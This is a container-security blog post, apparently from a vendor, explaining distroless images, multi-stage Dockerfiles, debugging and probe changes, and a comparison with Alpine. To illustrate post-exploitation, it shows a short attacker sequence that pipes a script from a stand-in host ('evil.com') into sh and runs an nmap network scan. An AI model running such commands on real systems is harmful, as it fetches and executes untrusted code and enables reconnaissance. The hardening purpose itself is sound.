Container Security

Distroless Container Images: Stripping the Attack Surface to Nothing

Distroless images remove the shell, package manager, and everything else an attacker needs post-exploitation. Here is how to use them, what breaks, and whether the security tradeoff is worth it.

Shadab Khan
DevSecOps Engineer
6 min read

A standard Debian container image ships with 124 packages. That is 124 packages an attacker can use after gaining code execution inside your container: shells for running commands, package managers for installing tools, curl for exfiltrating data, and cron for persistence.

Distroless images remove all of it. No shell. No package manager. No system utilities. Just your application binary and its runtime dependencies. The container can run your code, and nothing else.

Google's distroless project pioneered this approach, and for a growing number of production workloads, it is becoming the default.

What Distroless Actually Contains

A distroless image includes:

  • Runtime dependencies: glibc, libssl, ca-certificates, tzdata
  • Language runtime (for interpreted languages): Java JRE, Python interpreter, Node.js
  • Nothing else

What it explicitly excludes:

  • /bin/sh or any shell
  • apt, apk, yum, or any package manager
  • curl, wget, netcat, or any networking tools
  • ps, top, ls, cat, or any system utilities
  • /etc/passwd modifications, cron, syslog

The image is based on Debian but contains only the files needed for the specific runtime.

Available Base Images

# Static binaries (Go, Rust compiled statically)
FROM gcr.io/distroless/static-debian12

# Dynamic binaries (C/C++ with glibc)
FROM gcr.io/distroless/base-debian12

# Java applications
FROM gcr.io/distroless/java21-debian12

# Python applications
FROM gcr.io/distroless/python3-debian12

# Node.js applications
FROM gcr.io/distroless/nodejs20-debian12

Size Comparison

| Base Image | Size | Package Count | |---|---|---| | ubuntu:22.04 | ~77MB | 92 | | debian:bookworm-slim | ~74MB | 81 | | alpine:3.18 | ~7MB | 14 | | distroless/static | ~2MB | 0 (static) | | distroless/base | ~20MB | Runtime only | | distroless/java21 | ~220MB | JRE only |

Smaller images mean less to scan, less to patch, and less for an attacker to work with.

Building with Distroless

Distroless images cannot run build tools, so you must use multi-stage builds.

Go Application

FROM golang:1.21 AS builder
WORKDIR /src
COPY go.mod go.sum ./
RUN go mod download
COPY . .
RUN CGO_ENABLED=0 go build -o /app -ldflags='-s -w' ./cmd/server

FROM gcr.io/distroless/static-debian12:nonroot
COPY --from=builder /app /app
ENTRYPOINT ["/app"]

For Go with CGO_ENABLED=0, use static. For Go with CGO, use base.

Java Application

FROM eclipse-temurin:21-jdk AS builder
WORKDIR /src
COPY . .
RUN ./gradlew build -x test

FROM gcr.io/distroless/java21-debian12:nonroot
COPY --from=builder /src/build/libs/app.jar /app.jar
ENTRYPOINT ["java", "-jar", "/app.jar"]

Node.js Application

FROM node:20-slim AS builder
WORKDIR /app
COPY package*.json ./
RUN npm ci --production
COPY . .

FROM gcr.io/distroless/nodejs20-debian12:nonroot
COPY --from=builder /app /app
WORKDIR /app
CMD ["server.js"]

Note: No npm start—the CMD must reference the JavaScript file directly because there is no shell to interpret npm scripts.

The Security Impact

Post-Exploitation Hardening

The primary security value is not vulnerability reduction (though that helps). It is post-exploitation hardening.

Consider an attacker who achieves remote code execution through an application vulnerability:

With a standard image:

# Attacker has a shell
$ whoami
root
$ curl http://evil.com/toolkit.sh | sh
$ apt-get install nmap
$ nmap -sV 10.0.0.0/24

With distroless:

# Attacker has code execution but...
# No shell to run commands
# No curl/wget to download tools
# No package manager to install anything
# No system utilities to enumerate the environment

The attacker can still exploit the application's runtime (e.g., open network connections using the application's language libraries), but the toolkit-based post-exploitation playbook collapses.

Vulnerability Count Reduction

Fewer packages means fewer CVEs:

# Ubuntu 22.04 scan
trivy image ubuntu:22.04
# Total: 35 (1 critical, 8 high, 15 medium, 11 low)

# Distroless static scan
trivy image gcr.io/distroless/static-debian12
# Total: 0

Zero CVEs in the static distroless image. Not because vulnerabilities do not exist in the real world, but because there are so few components that the scan has almost nothing to evaluate.

Immutability

Without a package manager or shell, you cannot modify the running container. This enforces immutable infrastructure at the image level. Configuration drift becomes impossible because there is no mechanism for drift.

What Breaks with Distroless

Debugging

No shell means kubectl exec is useless:

kubectl exec -it my-pod -- /bin/sh
# error: unable to start container process: exec: "/bin/sh": stat /bin/sh: no such file or directory

Solutions:

Debug containers (Kubernetes 1.23+):

kubectl debug -it my-pod --image=busybox --target=my-container
# Gives you a shell in a debug container sharing the pod's namespaces

Distroless debug images:

# For development/staging only
FROM gcr.io/distroless/base-debian12:debug
# Includes a busybox shell at /busybox/sh

Never use debug images in production. They defeat the purpose.

Health Checks

Shell-based health checks do not work:

# BROKEN: no shell
livenessProbe:
  exec:
    command: ["sh", "-c", "curl localhost:8080/health"]

# WORKS: HTTP probe (no shell needed)
livenessProbe:
  httpGet:
    path: /health
    port: 8080

# WORKS: TCP probe
livenessProbe:
  tcpSocket:
    port: 8080

# WORKS: gRPC probe (Kubernetes 1.24+)
livenessProbe:
  grpc:
    port: 8080

Log File Access

Without cat, tail, or grep, you cannot read log files from inside the container. Write logs to stdout/stderr and use your logging infrastructure to collect them.

TLS Certificate Management

Distroless images include CA certificates from Debian's ca-certificates package. If you need custom CA certificates:

FROM gcr.io/distroless/static-debian12:nonroot
COPY --from=builder /etc/ssl/certs/custom-ca.crt /etc/ssl/certs/
COPY --from=builder /app /app
ENTRYPOINT ["/app"]

Distroless vs Alpine

Alpine is often cited as the minimal alternative. Both reduce attack surface, but differently:

| Aspect | Distroless | Alpine | |---|---|---| | Shell | None | /bin/sh (busybox) | | Package manager | None | apk | | C library | glibc | musl (compatibility issues) | | Size | 2-20MB | 5-7MB | | Debugging | Ephemeral containers | Interactive shell | | CVE count | Very low | Low |

Alpine is smaller but includes a shell and package manager. Distroless is slightly larger but includes no tools at all. For maximum security, distroless wins. For operational convenience, Alpine offers a middle ground.

Adoption Strategy

  1. Start with statically compiled binaries. Go and Rust applications with distroless/static are the easiest migration. No runtime dependencies to worry about.

  2. Move to language-specific distroless images. Java, Python, and Node.js distroless images handle the runtime for you.

  3. Update health checks and logging. Replace shell-based probes with HTTP/TCP/gRPC probes. Ensure logs go to stdout.

  4. Enable debug containers in staging. Train your team on kubectl debug before they need it at 3 AM.

  5. Monitor for new distroless releases. Google updates distroless images regularly with security patches. Pin by digest and update deliberately.

How Safeguard.sh Helps

Safeguard.sh identifies containers running bloated base images and recommends distroless alternatives based on the application's actual runtime requirements. The platform tracks which workloads have migrated to minimal images and which still carry unnecessary attack surface. For teams already using distroless, Safeguard.sh monitors for new vulnerabilities in the runtime dependencies that distroless images do include, ensuring that even your most hardened containers stay current.

Never miss an update

Weekly insights on software supply chain security, delivered to your inbox.